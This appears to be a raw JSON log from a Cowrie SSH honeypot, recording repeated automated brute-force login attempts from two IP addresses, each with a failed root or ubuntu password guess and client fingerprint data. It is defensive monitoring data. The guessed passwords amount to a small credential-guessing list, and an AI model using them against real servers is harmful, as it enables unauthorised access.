{"eventid":"cowrie.login.failed","username":"root","password":"Admin@qq.com","message":"login attempt [root/Admin@qq.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:29.447278Z","src_ip":"60.165.124.241","session":"969a90546538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:30.700609Z","src_ip":"60.165.124.241","session":"969a90546538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43530,"dst_ip":"10.17.0.5","dst_port":22,"session":"35f0cdf669fe","protocol":"ssh","message":"New connection: 60.165.124.241:43530 (10.17.0.5:22) [session: 35f0cdf669fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:30.933724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:30.938231Z","src_ip":"60.165.124.241","session":"35f0cdf669fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:31.174485Z","src_ip":"60.165.124.241","session":"35f0cdf669fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aisino123","message":"login attempt [root/aisino123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:31.910311Z","src_ip":"60.165.124.241","session":"35f0cdf669fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"f16fa69eeb42","protocol":"ssh","message":"New connection: 80.94.92.171:58130 (10.17.0.5:22) [session: f16fa69eeb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:32.052541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:32.164339Z","src_ip":"80.94.92.171","session":"f16fa69eeb42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:32.263196Z","src_ip":"80.94.92.171","session":"f16fa69eeb42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:32.889490Z","src_ip":"80.94.92.171","session":"f16fa69eeb42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:33.147287Z","src_ip":"60.165.124.241","session":"35f0cdf669fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46542,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a21b97b2682","protocol":"ssh","message":"New connection: 60.165.124.241:46542 (10.17.0.5:22) [session: 4a21b97b2682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:33.382223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:33.386376Z","src_ip":"60.165.124.241","session":"4a21b97b2682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:33.632326Z","src_ip":"60.165.124.241","session":"4a21b97b2682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:34.325155Z","src_ip":"80.94.92.171","session":"f16fa69eeb42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud.1234","message":"login attempt [root/Cloud.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:34.381714Z","src_ip":"60.165.124.241","session":"4a21b97b2682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:35.628806Z","src_ip":"60.165.124.241","session":"4a21b97b2682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49318,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e37f9a34cc","protocol":"ssh","message":"New connection: 60.165.124.241:49318 (10.17.0.5:22) [session: 51e37f9a34cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:35.876287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:35.881001Z","src_ip":"60.165.124.241","session":"51e37f9a34cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:36.127462Z","src_ip":"60.165.124.241","session":"51e37f9a34cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.163.com","message":"login attempt [root/www.163.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:36.856263Z","src_ip":"60.165.124.241","session":"51e37f9a34cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:38.098701Z","src_ip":"60.165.124.241","session":"51e37f9a34cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52148,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9eed6398730","protocol":"ssh","message":"New connection: 60.165.124.241:52148 (10.17.0.5:22) [session: c9eed6398730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:38.334367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:38.338895Z","src_ip":"60.165.124.241","session":"c9eed6398730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:38.576180Z","src_ip":"60.165.124.241","session":"c9eed6398730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"axis","message":"login attempt [root/axis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:39.315598Z","src_ip":"60.165.124.241","session":"c9eed6398730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:40.570310Z","src_ip":"60.165.124.241","session":"c9eed6398730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54888,"dst_ip":"10.17.0.5","dst_port":22,"session":"70d604c94cb2","protocol":"ssh","message":"New connection: 60.165.124.241:54888 (10.17.0.5:22) [session: 70d604c94cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:40.817749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:40.822131Z","src_ip":"60.165.124.241","session":"70d604c94cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:41.058621Z","src_ip":"60.165.124.241","session":"70d604c94cb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sheldon","message":"login attempt [root/sheldon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:41.787396Z","src_ip":"60.165.124.241","session":"70d604c94cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:43.036944Z","src_ip":"60.165.124.241","session":"70d604c94cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57912,"dst_ip":"10.17.0.5","dst_port":22,"session":"2444e1fd70df","protocol":"ssh","message":"New connection: 60.165.124.241:57912 (10.17.0.5:22) [session: 2444e1fd70df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:43.282425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:43.287547Z","src_ip":"60.165.124.241","session":"2444e1fd70df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:43.533553Z","src_ip":"60.165.124.241","session":"2444e1fd70df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aq12wsde34rf","message":"login attempt [root/aq12wsde34rf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:44.273549Z","src_ip":"60.165.124.241","session":"2444e1fd70df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:45.524912Z","src_ip":"60.165.124.241","session":"2444e1fd70df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60888,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc8300e5fac6","protocol":"ssh","message":"New connection: 60.165.124.241:60888 (10.17.0.5:22) [session: bc8300e5fac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:45.770808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:45.774494Z","src_ip":"60.165.124.241","session":"bc8300e5fac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:46.028496Z","src_ip":"60.165.124.241","session":"bc8300e5fac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@123","message":"login attempt [root/Server@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:46.748062Z","src_ip":"60.165.124.241","session":"bc8300e5fac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:47.988801Z","src_ip":"60.165.124.241","session":"bc8300e5fac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35452,"dst_ip":"10.17.0.5","dst_port":22,"session":"141e7193ea40","protocol":"ssh","message":"New connection: 60.165.124.241:35452 (10.17.0.5:22) [session: 141e7193ea40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:48.224225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:48.235967Z","src_ip":"60.165.124.241","session":"141e7193ea40","protocol":"ssh"}
